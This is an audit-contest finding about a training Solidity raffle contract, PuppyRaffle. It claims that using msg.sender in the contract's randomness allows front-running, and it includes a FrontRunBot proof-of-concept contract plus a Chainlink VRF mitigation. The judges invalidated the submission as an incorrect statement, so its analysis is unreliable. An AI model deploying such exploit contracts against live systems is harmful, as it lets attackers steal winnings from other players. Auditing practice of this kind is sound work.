Puppy Raffle

AI First Flight #1
Beginner FriendlyFoundrySolidityNFT
EXP
View results
Submission Details
Impact: high
Likelihood: medium
Invalid

Front running

Root + Impact

Description

The PuppyRaffle::selectWinner function uses msg.sender as part of the randomness calculation, making the winner selection dependent on who calls the function. This creates a front-running vulnerability where an attacker can observe a selectWinner() transaction in the mempool, calculate if they would win if they call it instead, and front-run the original transaction with a higher gas price to guarantee their victory.

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
// @> msg.sender makes outcome different for each caller!
uint256 winnerIndex =
@> uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
// ... rest of function
}

The Problem:

Since msg.sender is part of the randomness:

  • Different callers produce different winners

  • Attacker sees pending selectWinner() transaction in mempool

  • Attacker calculates: "If I call it instead, do I win?"

  • If yes: Front-run with higher gas to execute first

  • If no: Do nothing, let original transaction proceed

Risk

Likelihood: Medium - Requires mempool monitoring and MEV infrastructure, but increasingly common with bots and MEV searchers.

Impact: Medium - Attackers can steal wins by front-running, but requires them to be a player and cannot guarantee winning every time (depends on who the original caller would have selected).

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
contract FrontRunBot {
address public puppyRaffle;
constructor(address _puppyRaffle) {
puppyRaffle = _puppyRaffle;
}
/**
* @notice Check if we would win if we call selectWinner now
* @dev Simulates the randomness calculation with our address
*/
function wouldWeWin() public view returns (bool, address) {
// Get player count
uint256 playerCount = 0;
for (uint256 i = 0; i < 500; i++) {
(bool success, ) = puppyRaffle.staticcall(
abi.encodeWithSignature("players(uint256)", i)
);
if (!success) break;
playerCount++;
}
// Calculate winner using OUR address as msg.sender
uint256 winnerIndex = uint256(
keccak256(abi.encodePacked(address(this), block.timestamp, block.difficulty))
) % playerCount;
// Get the winner address
(bool success, bytes memory data) = puppyRaffle.staticcall(
abi.encodeWithSignature("players(uint256)", winnerIndex)
);
require(success, "Failed to get winner");
address predictedWinner = abi.decode(data, (address));
return (predictedWinner == address(this), predictedWinner);
}
/**
* @notice Front-run transaction if we would win
* @dev Call this with high gas price when we detect selectWinner in mempool
*/
function frontRun() external {
(bool weWin, ) = wouldWeWin();
require(weWin, "We don't win - abort!");
// Execute selectWinner with our address as msg.sender
(bool success,) = puppyRaffle.call(
abi.encodeWithSignature("selectWinner()")
);
require(success, "Front-run failed");
}
receive() external payable {}
function onERC721Received(address, address, uint256, bytes memory)
public pure returns (bytes4)
{
return this.onERC721Received.selector;
}
}

Attack Scenario:

  1. Setup:

    • Alice, Bob, and attacker's FrontRunBot are in the raffle

    • Raffle duration ends

    • Alice submits selectWinner() with normal gas price (50 gwei)

  2. Mempool Monitoring:

    • Attacker's bot sees Alice's transaction in mempool

    • Bot calculates: "If Alice calls it, Bob wins"

    • Bot calculates: "If I call it, I win!"

  3. Front-Running:

    • Bot submits frontRun() with higher gas (100 gwei)

    • Miner picks bot's transaction first (higher fee)

    • Bot's transaction executes: msg.sender = FrontRunBot → Bot wins

    • Alice's transaction executes after: Winner already selected, reverts or becomes no-op

  4. Result:

    • Bot stole the win that should have gone to Bob

    • Alice wasted gas on failed transaction

Tools Used

Manual review

Recommended Mitigation

Remove msg.sender from the randomness calculation. However, this alone doesn't fix the underlying weak randomness issue. The proper fix is to use Chainlink VRF:

function selectWinner() external {
require(block.timestamp >= raffleStartTime + raffleDuration, "PuppyRaffle: Raffle not over");
require(players.length >= 4, "PuppyRaffle: Need at least 4 players");
- uint256 winnerIndex =
- uint256(keccak256(abi.encodePacked(msg.sender, block.timestamp, block.difficulty))) % players.length;
+ // Use Chainlink VRF instead (see Weak Randomness report)
+ // Temporary fix: remove msg.sender (but still vulnerable to prediction)
+ uint256 winnerIndex =
+ uint256(keccak256(abi.encodePacked(block.timestamp, block.difficulty))) % players.length;
address winner = players[winnerIndex];
// ... rest of function
}

Why This Only Partially Helps:

  • Removes front-running vulnerability (winner no longer depends on caller)

  • BUT randomness is still predictable (anyone can calculate winner using block.timestamp and block.difficulty)

  • Attacker can still use prediction attack (see Weak Randomness vulnerability)

Proper Fix: Use Chainlink VRF for verifiable randomness that:

  • Cannot be predicted before reveal

  • Cannot be manipulated by caller

  • Cannot be front-run (randomness provided by oracle after request)

Updates

Lead Judging Commences

ai-first-flight-judge Lead Judge about 4 hours ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!